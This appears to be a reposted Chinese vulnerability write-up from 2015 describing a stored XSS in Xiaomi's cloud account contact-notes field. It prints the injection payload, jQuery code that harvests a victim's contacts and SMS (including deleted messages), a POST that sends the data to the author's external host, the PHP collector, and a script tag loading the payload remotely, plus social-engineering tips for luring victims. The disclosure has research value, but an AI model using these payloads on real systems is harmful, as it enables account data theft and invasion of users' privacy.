网站地图    收藏   

主页 > 后端 > 网站安全 >

小米账户XSS 可获取私密资料 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;情景假设:A:嘿,MAN,你也用小米手机?B:当然了,小米手机杠杠的!A:我最近拿到了XX门主角的电话哦!看在朋...

现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;
情景假设:
A:嘿,MAN,你也用小米手机?
B:当然了,小米手机杠杠的!
A:我最近拿到了XX门主角的电话哦!看在朋友的份上…不过要到同步到电脑登陆i.xiaomi.com才能看到号码。
B:好的!好的!
于是,过后B屁颠屁颠的登陆i.xiaomi.com去看,结果什么也没有。与此同时,A在电脑的另一端收集到了B的小米账户名!手机联系人!手机短信!
下面开正题,登陆小米账户,在右侧会显示联系人的详细资料,如图:

可以看到是直接显示出来,而且对电话、邮件的格式没有进行过滤。
为了保险,我们选一个能写大量字符的地方,没错,那就是备注!
<Iframe src="http://www.baidu.com"></iframe>
<script>alert(/xss by cp0204/);</script>
写入成功!



谁说XSS价值不大,其实看你怎么利用罢了。试过抓包,但小米账户是https,抓包很困难,用浏览器就分析

继续深入

都抓出来,分别对应3个栏目,现在我们想办法收集这些数据
可以看到它是这样的,其中37009121是我的小米ID,后面跟的参数不知道什么,不管有用没用,但都可以通过JS取到
https://i.xiaomi.com/contacts/37009121/full?_dc=1342331522472&syncTag=0&limit=500
返回:
{"result":"ok","description":"成功","data":{"content":{"9204442":{"content":{"id":9204442,"status":"custom","tag":10327278,"organizations":[{"title":"领导","company":"有关部门"}],"emails":[{"value":"Cp0204@qq.com","type":"home"}],"phoneNumbers":[{"value":"123456","type":"mobile"}],"displayName":"有关部门","note":"<Iframe src=\"http://www.baidu.com\"><\/iframe> \n<script>alert(/xss by cp0204/);<\/script>"},"spinyin":"ygbm","type":"contact","pinyin":"youguanbumen"}},"lastPage":true,"letterIndex":{"Y":[9204442]},"group":[],"syncTag":10327278},"code":0}

网站已引入了jquery,那我就方便多了,写js获取数据
//取联系人
result1 = getdata("/contacts/"+mid+"/full?syncTag=0");
//取短信
result2 = getdata("/sms/"+mid+"/full/thread?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//全部
result3 = getdata("/sms/"+mid+"/locked?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//收藏
result4 = getdata("/sms/"+mid+"/deleted/thread??syncTag=0&limit=20&_dc=1342338505981&readMode=older");//已删除
 
function getdata(url) {
      var data
      $.ajax({
            url: url,
            async: false,
            success: function(result){data = obj2str(result);},
      });
      return data;
}
…………
然后,收集
$.post("http://cptimer.sinaapp.com/mi/mi.php?mid="+mid+"&data="+data,{mid:mid,data:data}, function(result){
      alert(result); //return mid data
});
顺便提一下,jq ajax是不可以跨域,但其实是可以提交,只是没有返回。所以这里post是可以的,mi.php
<?
$mid=$_REQUEST['mid'];
$data=$_REQUEST['data'];
echo "小米ID:".$_REQUEST["mid"]."\n账户数据:".$_REQUEST["data"];
?>

如此一来,联系人、短信全收集,什么门也出来了
有没有小白在备注里加上以下,做下试验,仅供学习…
<script src="http://cptimer.sinaapp.com/mi/mi.js"></script>


================== 最后总结===================

小白学习,大牛就见笑了。小小的XSS,也是大大的问题。很多人鄙视XSS,大概那些人只会弹个窗罢了。
还有就是加上社工,怎么传那个联系人给别人。
而且,有小米手机的可以测试一下通过短信箱能不能攻击,能的话就更简单了!发条xss短信,然后叫他上小米账户看…也是另外一个思路,没有小米手机测试不了。
窃取这些东西还是很有价值的,你试想一下,你的联系人、短信全部泄露…
特别一些重要人员,例如…有关部门的有关领导







修复方案:
你比我牛

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论